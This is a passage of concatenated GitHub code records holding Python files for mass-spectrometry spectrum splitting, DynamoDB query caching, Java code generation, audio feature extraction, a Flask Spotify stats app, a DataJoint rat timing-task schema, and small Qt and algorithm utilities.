self.goodBadUgly['bad'].append(psm['spectrum'])\n print(\"good: \", count_good)\n print(\"bad: \", count_bad)\n\n def seperateMgf(self, folder_out):\n '''\n '''\n for idea in self.goodBadUgly.keys():\n spectra_out = []\n with mgf.read(self.pathMgf) as spectra:\n for spectrum in spectra:\n int_dic = spectrum['intensity array']\n mz_dic = spectrum['m/z array']\n param_dic = spectrum['params']\n if spectrum['params']['title'] in self.goodBadUgly[idea]:\n spectra_out.append({'m/z array': mz_dic, 'intensity array': int_dic, 'params': param_dic})\n output_path = folder_out + self.file_name + \"_\" + str(idea) + \".mgf\"\n mgf.write(spectra=spectra_out, output=output_path)\n","repo_name":"kusterlab/MasterSpectrum","sub_path":"mgf_filter/mgfSeperator.py","file_name":"mgfSeperator.py","file_ext":"py","file_size_in_byte":1885,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"20185032917","text":"# -*- coding: utf-8 -*-\nimport os\nimport logging\nimport importlib\nfrom abc import ABCMeta\nfrom typing import Union\n\nfrom .querydb import (\n QueryDBConfig,\n QueryDB,\n SUPPORTED_QUERYDB_CONFIG,\n DEFAULT_QUERYDB_TYPE,\n DEFAULT_QUERYDB_URL,\n DEFAULT_QUERYDB_LOAD_BATCH_SIZE,\n DEFAULT_QUERYDB_EXPIRE_TIME,\n DEFAULT_QUERYDB_PURGE_TIME,\n)\nfrom ..model import Statement\nfrom ..sql.util import strtobool\nfrom ..error import NotSupportedError, OperationalError\nfrom .querydb_sqlite import SqliteMemQueryDB, SqliteFileQueryDB\n\n_logger = logging.getLogger(__name__) # type: ignore\n\n\nclass QueryDBHelper(metaclass=ABCMeta):\n @staticmethod\n def create(statement: Statement, config: QueryDBConfig = None, **kwargs) -> QueryDB:\n if config is None:\n _config = QueryDBHelper.get_default_config(**kwargs)\n else:\n _config = config\n\n _query_db_class = None\n if _config.db_type.lower() == DEFAULT_QUERYDB_TYPE:\n if _config.db_url.lower() == DEFAULT_QUERYDB_URL:\n _query_db_class = SqliteMemQueryDB\n else:\n _query_db_class = SqliteFileQueryDB\n else:\n if _config.db_class:\n db_apis = _config.db_class.split(\":\")\n if len(db_apis) == 2:\n _query_db_module = importlib.import_module(db_apis[0])\n _query_db_class = getattr(_query_db_module, db_apis[1])\n else:\n raise OperationalError(\"QueryDB class is invalid.\")\n else:\n raise NotSupportedError(\"QueryDB class is not specified.\")\n\n _query_db = _query_db_class(statement, _config, **kwargs)\n if _query_db is None:\n raise OperationalError(\"QueryDB is not specified.\")\n else:\n return _query_db\n\n @staticmethod\n def get_default_config(**kwargs):\n db_type = QueryDBHelper.get_config_value(\"querydb_type\", **kwargs)\n db_url = QueryDBHelper.get_config_value(\"querydb_url\", **kwargs)\n db_class = QueryDBHelper.get_config_value(\"querydb_class\", **kwargs)\n load_batch_size = QueryDBHelper.get_config_value(\n \"querydb_load_batch_size\", **kwargs\n )\n expire_time = QueryDBHelper.get_config_value(\"querydb_expire_time\", **kwargs)\n purge_enabled = QueryDBHelper.get_config_value(\n \"querydb_purge_enabled\", **kwargs\n )\n purge_time = QueryDBHelper.get_config_value(\"querydb_purge_time\", **kwargs)\n\n _db_type = db_type if db_type is not None else DEFAULT_QUERYDB_TYPE\n _db_url = db_url if db_url is not None else DEFAULT_QUERYDB_URL\n _db_class = db_class\n _load_batch_size = (\n int(load_batch_size)\n if load_batch_size is not None\n else DEFAULT_QUERYDB_LOAD_BATCH_SIZE\n )\n _expire_time = (\n int(expire_time) if expire_time is not None else DEFAULT_QUERYDB_EXPIRE_TIME\n )\n _purge_enabled = strtobool(purge_enabled) if purge_enabled is not None else True\n _purge_time = (\n int(purge_time) if purge_time is not None else DEFAULT_QUERYDB_PURGE_TIME\n )\n\n return QueryDBConfig(\n _db_type,\n _db_class,\n _db_url,\n load_batch_size=_load_batch_size,\n expire_time=_expire_time,\n purge_enabled=_purge_enabled,\n purge_time=_purge_time,\n )\n\n @staticmethod\n def get_config_value(config_name: str, **kwargs) -> Union[str, int]:\n if config_name in kwargs:\n return kwargs[config_name]\n else:\n if config_name in SUPPORTED_QUERYDB_CONFIG:\n (env_name, default_val) = SUPPORTED_QUERYDB_CONFIG[config_name]\n env_val = os.getenv(env_name, None)\n if env_val is None:\n return default_val\n else:\n return env_val\n else:\n return None\n","repo_name":"passren/PyDynamoDB","sub_path":"pydynamodb/superset_dynamodb/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":4003,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"72"} +{"seq_id":"23408231180","text":"import collections\n\nimport context\nimport util\nfrom .java_value import JavaValue\nfrom .ordered_set import OrderedSet\n\n\nclass JavaClass(object):\n \"\"\"Encapsulates package name, imports, class declaration, constructors,\n fields, access methods, etc. for a Java Class. Also includes javadoc\n documentation where applicable.\n\n Implementation: Unless the 'body' attribute is used, different kind of\n methods and fields are stored in separate dictionaries so that the order of\n them in the generated class does not depend on the order in which they were\n added.\n\n \"\"\"\n\n def __init__(self, filename=None, package=None, imports=None,\n description=None, body=None, version='1.0',\n superclass=None, interfaces=None, source='.yang', abstract=False):\n \"\"\"Constructor.\n\n filename -- Should preferably not contain a complete path since it is\n displayed in a Java comment in the beginning of the code.\n package -- Should be just the name of the package in which the class\n will be included.\n imports -- Should be a list of names of imported libraries.\n description -- Defines the class semantics.\n body -- Should contain the actual code of the class if it is not\n supplied through the add-methods\n version -- Version number, defaults to '1.0'.\n superclass -- Parent class of this Java class, or None\n interaces -- List of interfaces implemented by this Java class\n source -- A string somehow representing the origin of the class\n\n \"\"\"\n if imports is None:\n imports = []\n self.filename = filename\n self.package = package if package[:3] != 'src' else package[4:]\n self.imports = OrderedSet()\n for i in range(len(imports)):\n self.imports.add(imports[i])\n self.description = description\n self.body = body\n self.version = version\n self.superclass = superclass\n self.interfaces = interfaces\n if interfaces is None:\n self.interfaces = []\n self.source = source\n self.fields = OrderedSet()\n self.constructors = OrderedSet()\n self.cloners = OrderedSet()\n self.value_setters = OrderedSet()\n self.enablers = OrderedSet()\n self.schema_registrators = OrderedSet()\n self.name_getters = OrderedSet()\n self.access_methods = collections.OrderedDict()\n self.support_methods = OrderedSet()\n self.abstract = abstract\n self.attrs = [self.fields,\n self.value_setters,\n self.constructors,\n self.cloners,\n self.enablers,\n self.schema_registrators,\n self.name_getters,\n self.access_methods,\n self.support_methods]\n\n def add_field(self, field):\n \"\"\"Adds a field represented as a string\"\"\"\n self.fields.add(field)\n\n def add_constructor(self, constructor):\n \"\"\"Adds a constructor represented as a string\"\"\"\n self.constructors.add(constructor)\n\n def add_cloner(self, cloner):\n \"\"\"Adds a clone method represented as a string\"\"\"\n if not isinstance(cloner, str):\n for import_ in cloner.imports:\n self.imports.add(import_)\n self.cloners.add(cloner)\n\n def add_value_setter(self, setter):\n \"\"\"Adds a clone method represented as a string\"\"\"\n if not isinstance(setter, str):\n for import_ in setter.imports:\n self.imports.add(import_)\n self.value_setters.add(setter)\n\n def add_enabler(self, enabler):\n \"\"\"Adds an 'enable'-method as a string\"\"\"\n self.imports.add('io.netconfessor.JNCException')\n self.imports.add('io.netconfessor.YangElement')\n self.enablers.add(enabler)\n\n def add_schema_registrator(self, schema_registrator):\n \"\"\"Adds a register schema method\"\"\"\n self.imports.add('io.netconfessor.JNCException')\n self.imports.add('io.netconfessor.SchemaParser')\n self.imports.add('io.netconfessor.Tagpath')\n self.imports.add('io.netconfessor.SchemaNode')\n self.imports.add('io.netconfessor.SchemaTree')\n self.imports.add('java.util.HashMap')\n self.schema_registrators.add(schema_registrator)\n\n def add_name_getter(self, name_getter):\n \"\"\"Adds a keyNames or childrenNames method represented as a string\"\"\"\n self.name_getters.add(name_getter)\n\n def append_access_method(self, key, access_method):\n \"\"\"Adds an access method represented as a string\"\"\"\n if self.access_methods.get(key) is None:\n self.access_methods[key] = []\n self.access_methods[key].append(access_method)\n\n def add_support_method(self, support_method):\n \"\"\"Adds a support method represented as a string\"\"\"\n self.support_methods.add(support_method)\n\n def add_method(self, method):\n \"\"\"Adds a support method represented as a string\"\"\"\n self.support_methods.add(method)\n\n def get_body(self):\n \"\"\"Returns self.body. If it is None, fields and methods are added to it\n before it is returned.\"\"\"\n if self.body is None:\n self.body = []\n if self.superclass is not None or 'Serializable' in self.interfaces:\n self.body.extend(JavaValue(\n modifiers=['private', 'static', 'final', 'long'],\n name='serialVersionUID', value='1L').as_list())\n self.body.append('')\n for method in util.flatten(self.attrs):\n if hasattr(method, 'as_list'):\n self.body.extend(method.as_list())\n else:\n self.body.append(method)\n self.body.append('')\n self.body.append('}')\n return self.body\n\n def get_superclass_and_interfaces(self):\n \"\"\"Returns a string with extends and implements\"\"\"\n res = []\n if self.superclass:\n res.append(' extends ')\n res.append(self.superclass)\n if self.interfaces:\n res.append(' implements ')\n res.append(', '.join(self.interfaces))\n return ''.join(res)\n\n def add_interface_implementation(self, interface, package):\n self.imports.add(package + '.' + interface)\n self.interfaces.append(interface)\n\n def as_list(self):\n \"\"\"Returns a string representing complete Java code for this class.\n\n It is vital that either self.body contains the complete code body of\n the class being generated, or that it is None and methods have been\n added using the JavaClass.add methods prior to calling this method.\n Otherwise the class will be empty.\n\n The class name is the filename without the file extension.\n\n \"\"\"\n # # The header is placed in the beginning of the Java file\n # header = [' '.join(['/* \\n * @(#)' + self.filename, ' ',\n # self.version, date.today().strftime('%d/%m/%y')])]\n # header.append(' *')\n # header.append(' * This file has been auto-generated by JNC, the')\n # header.append(' * Java output format plug-in of pyang.')\n # header.append(' * Origin: ' + self.source)\n # header.append(' */')\n #\n # # package and import statement goes here\n # header.append('')\n header = ['']\n header.append('package ' + self.package + ';')\n if self.body is None:\n for method in util.flatten(self.attrs):\n if hasattr(method, 'imports'):\n self.imports |= method.imports\n if hasattr(method, 'exceptions'):\n self.imports |= ['io.netconfessor.' + s for s in method.exceptions]\n if self.superclass:\n self.imports.add(util.get_import(self.superclass))\n imported_classes = []\n if self.imports:\n prevpkg = ''\n for import_ in self.imports.as_sorted_list():\n pkg, _, cls = import_.rpartition('.')\n if (cls != self.filename.split('.')[0]\n and (pkg != 'io.netconfessor' or cls in context.io_netconfessor\n or cls == '*')):\n if cls in imported_classes:\n continue\n else:\n imported_classes.append(cls)\n basepkg = import_[:import_.find('.')]\n if basepkg != prevpkg:\n header.append('')\n header.append('import ' + import_ + ';')\n prevpkg = basepkg\n\n # Class doc-comment and declaration, with modifiers\n header.append('')\n header.append('/**')\n header.append(' * ' + self.description)\n header.append(' *')\n # header.append(' '.join([' * @version',\n # self.version,\n # date.today().isoformat()]))\n header.append(' * @author jnc.py')\n header.append(' */')\n header.append(''.join(['public', ' abstract ' if self.abstract else ' ', 'class ',\n self.filename.split('.')[0],\n self.get_superclass_and_interfaces(),\n ' {']))\n header.append('')\n return header + self.get_body()","repo_name":"xotonic/netconfessor","sub_path":"gen/tools/jnc_plugin/java_class.py","file_name":"java_class.py","file_ext":"py","file_size_in_byte":9571,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"12619722737","text":"# Reference: https://groups.google.com/forum/#!msg/librosa/V4Z1HpTKn8Q/1-sMpjxjCSoJ\n\nimport librosa\nimport numpy as np\nfrom operator import itemgetter\n# NOTE: there are warnings for MFCC extraction due to librosa's issue\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n# Acoustic Feature Extraction\n# Parameters\n# - input file : str, audio file path\n# - feature : str, fbank or mfcc\n# - dim : int, dimension of feature\n# - cmvn : bool, apply CMVN on feature\n# - window_size : int, window size for FFT (ms)\n# - stride : int, window stride for FFT\n# - save_feature: str, if given, store feature to the path and return len(feature)\n# Return\n# acoustic features with shape (time step, dim)\ndef extract_feature(input_file,feature='fbank',dim=40, cmvn=True, delta=False, delta_delta=False,\n window_size=25, stride=10,save_feature=None):\n y, sr = librosa.load(input_file,sr=None)\n ws = int(sr*0.001*window_size)\n st = int(sr*0.001*stride)\n if feature == 'fbank': # log-scaled\n feat = librosa.feature.melspectrogram(y=y, sr=sr, n_mels=dim,\n n_fft=ws, hop_length=st)\n feat = np.log(feat+1e-6)\n elif feature == 'mfcc':\n feat = librosa.feature.mfcc(y=y, sr=sr, n_mfcc=dim, n_mels=26,\n n_fft=ws, hop_length=st)\n feat[0] = librosa.feature.rmse(y, hop_length=st, frame_length=ws) \n \n else:\n raise ValueError('Unsupported Acoustic Feature: '+feature)\n\n feat = [feat]\n if delta:\n feat.append(librosa.feature.delta(feat[0]))\n\n if delta_delta:\n feat.append(librosa.feature.delta(feat[0],order=2))\n feat = np.concatenate(feat,axis=0)\n if cmvn:\n feat = (feat - feat.mean(axis=1)[:,np.newaxis]) / (feat.std(axis=1)+1e-16)[:,np.newaxis]\n if save_feature is not None:\n tmp = np.swapaxes(feat,0,1).astype('float32')\n np.save(save_feature,tmp)\n return len(tmp)\n else:\n return np.swapaxes(feat,0,1).astype('float32')\n\n# Target Encoding Function\n# Parameters\n# - input list : list, list of target list\n# - table : dict, token-index table for encoding (generate one if it's None)\n# - mode : int, encoding mode ( phoneme / char / subword / word )\n# - max idx : int, max encoding index (0=, 1=, 2=)\n# Return\n# - output list: list, list of encoded targets\n# - output dic : dict, token-index table used during encoding\ndef encode_target(input_list,table=None,mode='subword',max_idx=500):\n if table is None:\n ### Step 1. Calculate wrd frequency\n table = {}\n for target in input_list:\n for t in target:\n if t not in table:\n table[t] = 1\n else:\n table[t] += 1\n ### Step 2. Top k list for encode map\n max_idx = min(max_idx-3,len(table))\n all_tokens = [k for k,v in sorted(table.items(), key = itemgetter(1), reverse = True)][:max_idx]\n table = {'':0,'':1}\n if mode == \"word\": table['']=2\n for tok in all_tokens:\n table[tok] = len(table)\n ### Step 3. Encode\n output_list = []\n for target in input_list:\n tmp = [0]\n for t in target:\n if t in table:\n tmp.append(table[t])\n else:\n if mode == \"word\":\n tmp.append(2)\n else:\n tmp.append(table[''])\n # raise ValueError('OOV error: '+t)\n tmp.append(1)\n output_list.append(tmp)\n return output_list,table\n\n\n# Feature Padding Function \n# Parameters\n# - x : list, list of np.array\n# - pad_len : int, length to pad (0 for max_len in x) \n# Return\n# - new_x : np.array with shape (len(x),pad_len,dim of feature)\ndef zero_padding(x,pad_len):\n features = x[0].shape[-1]\n if pad_len is 0: pad_len = max([len(v) for v in x])\n new_x = np.zeros((len(x),pad_len,features))\n for idx,ins in enumerate(x):\n new_x[idx,:min(len(ins),pad_len),:] = ins[:min(len(ins),pad_len),:]\n return new_x\n\n# Target Padding Function \n# Parameters\n# - y : list, list of int\n# - max_len : int, max length of output (0 for max_len in y) \n# Return\n# - new_y : np.array with shape (len(y),max_len)\ndef target_padding(y,max_len):\n if max_len is 0: max_len = max([len(v) for v in y])\n new_y = np.zeros((len(y),max_len),dtype=int)\n for idx,label_seq in enumerate(y):\n new_y[idx,:len(label_seq)] = np.array(label_seq)\n return new_y\n","repo_name":"Eman22S/Amharic-Seq2Seq","sub_path":"src/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":4674,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"73118066472","text":"from datetime import datetime, timezone\n\nimport flask\n\nfrom statify import database_client\nfrom statify.webserver import search\n\n\napp = flask.Flask(__name__)\n\n\n@app.before_request\ndef ensure_db_client():\n flask.g.db_client = database_client.StatifyDatabase()\n\n\n# Front\n\n@app.route('/')\ndef front_page():\n return flask.render_template('index.html')\n\n\n@app.route('/song/')\ndef song_page(spotify_id):\n song_data = flask.g.db_client.select_song_by_spotify_id(spotify_id)\n return flask.render_template('song.html', song=song_data)\n\n\n# API\n\n@app.route('/api/listenings/')\ndef listenings_endpoint(spotify_id):\n listenings = flask.g.db_client.select_listenings_by_spotify_id(spotify_id)\n return flask.jsonify([listening_resource(lisng) for lisng in listenings])\n\n\n@app.route('/api/autocomplete')\ndef autocomplete_endpoint():\n query = flask.request.args['query']\n words = [w.lower() for w in query.split()]\n\n results = flask.g.db_client.search_songs(words)\n\n results.sort(\n key=lambda s: search.match_song_to_query(words=words, song=s),\n reverse=True,\n )\n\n return flask.jsonify(results)\n\n\ndef listening_resource(listening):\n return {\n **listening,\n 'played_at': int(datetime.strptime(\n listening['played_at'][:19],\n '%Y-%m-%dT%H:%M:%S',\n ).replace(tzinfo=timezone.utc).timestamp())\n }\n\n\ndef main():\n app.run(debug=True, host='0.0.0.0')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"foobuzz/statify","sub_path":"statify/webserver/webserver.py","file_name":"webserver.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"72"} +{"seq_id":"17400016642","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom movie import extract_info\nimport csv\n\nfile = open('movie.csv', mode = 'w', newline ='', encoding='utf-8-sig')\nwriter = csv.writer(file)\nwriter.writerow([\"제목\",\"이미지 주소\"])\n\nMOVIE_URL = f'https://movie.naver.com/movie/running/current.nhn'\n\nmovie_html = requests.get(MOVIE_URL)\nmovie_soup = BeautifulSoup(movie_html.text,\"html.parser\")\n\nmovie_list_box = movie_soup.find('ul',{'class':'lst_detail_t1'})\nmovie_list = movie_list_box.find_all(\"li\")\n\nfinal_result = extract_info(movie_list)\n\nfor result in final_result:\n row = []\n row.append(result['title'])\n row.append(result['image_src'])\n writer.writerow(row)","repo_name":"suyeoni4731/NEXT_HW","sub_path":"Session4/movie_main.py","file_name":"movie_main.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30151020330","text":"from ui_exit import Ui_Dialog\r\nfrom PyQt5.QtWidgets import QApplication, QMainWindow\r\nimport sys\r\nfrom PyQt5 import QtCore\r\n\r\n\r\nclass My_Exit_Window(QMainWindow, Ui_Dialog):\r\n '''主程序'''\r\n def __init__(self):\r\n super(My_Exit_Window, self).__init__()\r\n self.setupUi(self)\r\n\r\n # 让多窗口之间传递信号 刷新主窗口信息\r\n my_Signal = QtCore.pyqtSignal(str)\r\n\r\n def sendEditContent(self):\r\n content = '1'\r\n self.my_Signal.emit(content)\r\n\r\n def closeEvent(self, event):\r\n self.sendEditContent()\r\n\r\n\r\nif __name__ == '__main__':\r\n app = QApplication(sys.argv)\r\n main_window = My_Exit_Window()\r\n main_window.show()\r\n sys.exit(app.exec_())\r\n\r\n","repo_name":"ZhengLin-Li/Coding_In_University","sub_path":"Python Code/pyqt5test/callFucWhenSonClose/exit.py","file_name":"exit.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"27966637929","text":"\"\"\" \nSchema for generic Bpod Data\n\"\"\"\n\nfrom os import stat_result\nfrom pathlib import Path\nfrom datetime import datetime, timedelta\nimport numpy as np\nimport re\n\nimport datajoint as dj\nfrom dj_ratacad import animal, bpod\n\nschema = dj.schema(\"scott_timingtask\")\n\n@schema \nclass TimingtaskTrial(dj.Computed):\n definition = \"\"\"\n # Gather Timing task specific data\n \n -> bpod.BpodTrialData\n stage : tinyint # training stage\n ---\n press_time=NULL : float # timestamp of iniital lever press\n release_time=NULL : float # timestamp of lever release\n timeout : enum(\"y\",\"n\") # free sugar trial yes or no\n sample_time : float # sample time \n estimate=NULL : enum(\"over\",\"on\",\"under\") # was estimation over/under/on time\n reward : enum(\"y\",\"n\") # was trial rewarded\n reward_amount : int # reward size in uL\n \"\"\"\n @property\n def key_source(self):\n return bpod.BpodTrialData() & (bpod.BpodMetadata() & 'protocol=\"TimingTask\"')\n \n def make(self, key):\n\n bpod_data = (bpod.BpodTrialData() & key).fetch(as_dict=True)[0]\n all_states = np.fromiter(bpod_data[\"states\"].keys(),\"U25\")\n\n visited_states = [\n state \n for state in all_states \n if not np.isnan(bpod_data[\"states\"][state][0]).all()\n ]\n\n trial_data = key.copy()\n \n if bpod_data[\"trial_settings\"] == None:\n trial_data[\"stage\"] = 1\n trial_data[\"sample_time\"] = 0\n trial_data[\"reward_amount\"] = 50\n else:\n trial_data[\"stage\"] = bpod_data[\"trial_settings\"][\"Stage\"]\n trial_data[\"sample_time\"] = bpod_data[\"trial_settings\"][\"Sample\"]\n trial_data[\"reward_amount\"] = bpod_data[\"trial_settings\"][\"Reward\"]\n\n if not np.isnan(bpod_data[\"states\"][\"LPress\"][0]):\n trial_data[\"timeout\"] = \"n\"\n trial_data[\"press_time\"] = bpod_data[\"states\"][\"LPress\"][0]\n if np.isnan(bpod_data[\"states\"][\"Error\"][0]):\n trial_data[\"reward\"] = \"y\"\n else:\n trial_data[\"reward\"] = \"n\"\n if not np.isnan(bpod_data[\"states\"][\"Holding\"][0]):\n trial_data[\"release_time\"] = bpod_data[\"states\"][\"Holding\"][1]\n elif trial_data[\"stage\"] != 6 & trial_data[\"stage\"] != 7:\n trial_data[\"release_time\"] = bpod_data[\"states\"][\"LPress\"][1]\n if trial_data[\"stage\"] != 1:\n trial_data[\"estimate\"] = \"under\"\n else:\n if not np.isnan(bpod_data[\"states\"][\"OverTime\"][0]):\n trial_data[\"release_time\"] = bpod_data[\"states\"][\"OverTime\"][1]\n trial_data[\"estimate\"] = \"over\"\n elif not np.isnan(bpod_data[\"states\"][\"OnTime\"][0]):\n trial_data[\"release_time\"] = bpod_data[\"states\"][\"OnTime\"][1]\n trial_data[\"estimate\"] = \"on\"\n else:\n trial_data[\"release_time\"] = bpod_data[\"states\"][\"UnderTime\"][1]\n trial_data[\"estimate\"] = \"under\"\n \n else:\n trial_data[\"timeout\"] = \"y\"\n trial_data[\"reward\"] = \"n\"\n \n self.insert1(trial_data)\n print(\n f\"Added Timingtask Trial data for {trial_data['name']},{trial_data['session_datetime']}, {trial_data['trial']}\"\n )\n\n@schema \nclass TimingtaskTrialV2(dj.Computed):\n definition = \"\"\"\n # Gather Timing task specific data\n \n -> bpod.BpodTrialData\n stage : tinyint # training stage\n ---\n reproduction_time : float # time reproduced (between cue light & second press)\n timeout : enum(\"y\",\"n\") # timeout error yes or no\n sample_time : float # sample time \n itd_presses : int # how many times is lever pressed during ITD\n sample_presses: int # how many times lever is pressed during sample (before reproduction cue)\n reward_amount : float # reward size in uL\n reward_percent : float # percentage of max reward gained\n\n \"\"\"\n @property\n def key_source(self):\n return bpod.BpodTrialData() & (bpod.BpodMetadata() & 'protocol=\"TimingTask\"')\n \n def make(self, key):\n\n bpod_data = (bpod.BpodTrialData() & key).fetch(as_dict=True)[0]\n all_states = np.fromiter(bpod_data[\"states\"].keys(),\"U25\")\n\n visited_states = [\n state \n for state in all_states \n if not np.isnan(bpod_data[\"states\"][state][0]).all()\n ]\n\n trial_data = key.copy()\n \n i = 1\n while (\"Bin\" + str(i)) in visited_states:\n lastBin = \"Bin\" + str(i)\n i+=1\n\n i -= 2\n\n\n trial_data[\"stage\"] = bpod_data[\"trial_settings\"][\"Stage\"]\n trial_data[\"sample_time\"] = bpod_data[\"trial_settings\"][\"Sample\"]\n\n j = 0\n count = 0\n if bpod_data[\"trial_settings\"][\"Stage\"] != 1 and \"Sample\" in visited_states:\n sample_start = bpod_data[\"states\"][\"Sample\"][0]\n sample_end = bpod_data[\"states\"][\"Sample\"][1]\n\n if \"Port2In\" not in bpod_data[\"events\"]:\n print(key) # error check for missing Port2In event\n elif type(bpod_data[\"events\"][\"Port2In\"]) is np.ndarray:\n while j < len(bpod_data[\"events\"][\"Port2In\"]):\n if bpod_data[\"events\"][\"Port2In\"][j] > sample_start and bpod_data[\"events\"][\"Port2In\"][j] < sample_end:\n \n count+=1 \n j+=1\n\n trial_data[\"sample_presses\"] = count\n\n if \"Restart\" in visited_states:\n trial_data[\"itd_presses\"] = len(bpod_data[\"states\"][\"Restart\"])\n else:\n trial_data[\"itd_presses\"] = 0\n\n if \"Error\" in visited_states:\n trial_data[\"timeout\"] = \"y\"\n trial_data[\"reproduction_time\"] = 0\n trial_data[\"reward_amount\"] = 0\n trial_data[\"reward_percent\"] = 0\n else:\n trial_data[\"timeout\"] = \"n\"\n if type(bpod_data[\"trial_settings\"][\"Reward\"]) is np.ndarray:\n trial_data[\"reward_amount\"] = bpod_data[\"trial_settings\"][\"Reward\"][i]\n else: \n trial_data[\"reward_amount\"] = bpod_data[\"trial_settings\"][\"Reward\"]\n\n if \"MaxReward\" not in bpod_data[\"trial_settings\"]:\n MaxReward = 50\n else:\n MaxReward = bpod_data[\"trial_settings\"][\"MaxReward\"]\n\n trial_data[\"reward_percent\"] = trial_data[\"reward_amount\"]/MaxReward\n\n if bpod_data[\"trial_settings\"][\"Stage\"] != 1 and \"Bin1\" in visited_states:\n trial_data[\"reproduction_time\"] = bpod_data[\"states\"][lastBin][1] - bpod_data[\"states\"][\"Bin1\"][0]\n else:\n trial_data[\"reproduction_time\"] = 0\n \n \n \n self.insert1(trial_data)\n print(\n f\"Added Timingtask Trial data for {trial_data['name']},{trial_data['session_datetime']}, {trial_data['trial']}\"\n )\n\n\n\n@schema\nclass DailySummary(dj.Manual):\n definition = \"\"\"\n # Create daily summary\n \n -> animal.Animal\n summary_date : date # date of summary\n ---\n trials : int # number of trials initiated\n training_stage : tinyint # training stage \n timeouts : int # number of trials that timed out\n earlypress_trials : int # number of trials which have lever press during sample time\n avg_error : float # average percent error in reproductions\n maxreward_trials : int # number of trials in which max reward was gained \n \n \"\"\"\n\n @property\n def key_source(self):\n\n return(\n animal.Animal() & bpod.BpodMetadata() & TimingtaskTrialV2()\n ).fetch(\"KEY\")\n\n def _make_tuples(self, key):\n\n summary_dates = (self & key).fetch(\"summary_date\")\n latest_summary = (\n summary_dates[-1] if len(summary_dates) > 0 else datetime(2020,7,1)\n )\n latest_summary_str = (latest_summary + timedelta(days=1)).strftime(\"%Y-%m-%d\")\n today_str = datetime.today().strftime(\"%Y-%m-%d\")\n\n trial_datetime, stage, reproduction_time, sample_time, reward_percent, timeout, sample_presses = (\n TimingtaskTrialV2()\n & key\n & f\"trial_datetime>'{latest_summary_str}'\"\n & f\"trial_datetime<'{today_str}'\"\n ).fetch(\"trial_datetime\",\"stage\",\"reproduction_time\",\"sample_time\",\"reward_percent\", \"timeout\",\"sample_presses\")\n\n if len(trial_datetime) > 0:\n all_dates = [t.date() for t in trial_datetime]\n unique_dates = np.unique(all_dates)\n\n for d in unique_dates: \n these_trials = np.flatnonzero([a == d for a in all_dates])\n these_reproductions = reproduction_time[these_trials]\n these_samples = sample_time[these_trials]\n these_stages = stage[these_trials]\n these_rewards = reward_percent[these_trials]\n these_timeouts = timeout[these_trials]\n these_presses = sample_presses[these_trials]\n\n summary_data = key.copy()\n summary_data[\"summary_date\"] = d\n summary_data[\"trials\"] = len(these_trials)\n summary_data[\"training_stage\"] = these_stages[-1]\n summary_data[\"timeouts\"] = sum(these_timeouts=='y')\n \n summary_data[\"earlypress_trials\"] = sum(these_presses!=0)\n summary_data[\"avg_error\"] = 0\n\n if summary_data[\"training_stage\"] != 1:\n\n x = 0\n errors = []\n while x < len(these_trials):\n if these_stages[x] > 1:\n error = abs(these_samples[x]-these_reproductions[x])\n per = error/these_samples[x]\n errors += [per]\n x+=1\n\n summary_data[\"avg_error\"] = sum(errors)/len(errors) if len(errors) > 0 else 0 \n \n\n summary_data[\"maxreward_trials\"] = sum(these_rewards >= 0.99)\n \n \n # print(summary_data.keys)\n self.insert1(summary_data)\n print(f\"Added Timingtask Summary for {summary_data['name']}, {summary_data['summary_date']}\"\n )\n\n\n def populate(self):\n\n for k in self.key_source:\n self._make_tuples(k) \n\n","repo_name":"RatAcad/dj_ratacad","sub_path":"dj_ratacad/timingtask.py","file_name":"timingtask.py","file_ext":"py","file_size_in_byte":10876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3979665919","text":"from python_ui.textEdit import Ui_Form\nfrom PySide2.QtWidgets import QWidget\n\nclass TextEdit(Ui_Form, QWidget):\n def __init__(self, nameOfModule): #конструктор\n super().__init__() #наследование методов родителя\n self.setupUi(self) #создание самого окна\n self.textEdit.setReadOnly(True) #только для чтения\n self.setWindowTitle('Calibration of module: ' + nameOfModule) #название окна\n\n def insertText(self, text): #метод вставки текста\n self.textEdit.appendPlainText(text) #вставить в конец\n ","repo_name":"overjaguar/HubModules","sub_path":"TextEdit.py","file_name":"TextEdit.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30776485589","text":"def sortColors2(colors, k):\n \"\"\"\n Given an array of n objects with k different colors (numbered from 1 to k), sort them so that objects of the same color are adjacent, with the colors in the order 1, 2, ... k.\n :param colors:[3,2,2,1,4]\n :param k: 4\n :return:[1,2,2,3,4]\n\n Basic Idea: quickSort + Merge Sort\n merge sort分Color,quickSort 换位(partition)\n \"\"\"\n sort(colors, 1, k, 0, len(colors) - 1)\n return colors\n\n\ndef sort(colors, color_from, color_to, index_from, index_to):\n if color_from == color_to or index_from == index_to:\n return\n\n color = (color_from + color_to) // 2\n\n left, right = index_from, index_to\n\n while left <= right:\n\n while left <= right and colors[left] <= color:\n left += 1\n while left <= right and colors[right] > color:\n right -= 1\n\n if left<= right:\n colors[left],colors[right] = colors[right], colors[left]\n left+=1\n right-=1\n\n sort(colors,color_from,color,index_from,right)\n sort(colors,color+1,color_to,left,index_to)\n\nif __name__ == '__main__':\n print(sortColors2([2,1,1,2,2],2))\n\n","repo_name":"invokerkael918/TwoPointor","sub_path":"Sort Colors II (Rainbow).py","file_name":"Sort Colors II 